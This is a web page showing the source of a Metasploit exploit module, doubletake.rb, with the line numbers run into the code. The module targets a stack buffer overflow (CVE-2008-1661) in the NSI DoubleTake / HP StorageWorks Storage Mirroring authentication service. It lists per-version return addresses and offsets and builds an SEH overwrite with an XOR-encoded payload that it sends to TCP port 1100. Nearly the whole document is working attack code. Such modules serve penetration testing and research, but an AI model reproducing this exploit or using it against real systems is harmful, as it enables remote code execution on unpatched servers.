Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/doubletake.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in the authentication mechanism of16NSI Doubletake which is also rebranded as HP Storage Works. This vulnerability17was found by Titon of Bastard Labs.18},19'Author' => [ 'ri0t <ri0t[at]ri0tnet.net>' ],20'References' =>21[22['CVE', '2008-1661' ],23['OSVDB', '45924' ],24],25'Privileged' => false,26'DefaultOptions' =>27{28'EXITFUNC' => 'process',29},30'Payload' =>31{32'Space' => 500,33'BadChars' => "\x00",34},35'Platform' => 'win',3637'Targets' =>38[39['doubletake 4.5.0', { 'Ret' => 0x006f5fa7, 'Offset' => 5544 } ],40['doubletake 4.4.2', { 'Ret' => 0x0074e307, 'Offset' => 944 } ],41['doubletake 4.5.0.1819', { 'Ret' => 0x006e62dd, 'Offset' => 5544 } ],42],43'DefaultTarget' => 0,44'DisclosureDate' => '2008-06-04'45))4647register_options(48[49Opt::RPORT(1100)50])51end5253def exploit5455connect5657print_status("Trying target #{target.name}...")5859header =60"\x00\x02\x00\x01\x27\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+61"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x00"+62"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01"+63"\x00\x00\x00\x1e\x00\x00\x00\x01\x00\x01"6465xor = Rex::Encoding::Xor::Byte66filler = rand_text_english(1) * (target['Offset'])67seh = generate_seh_payload(target.ret)68buffercoded = xor.encode(seh+payload.encoded, [0xf0].pack("C"))69sploit = header + filler + buffercoded[0]70sock.put(sploit)7172handler73disconnect74end75end767778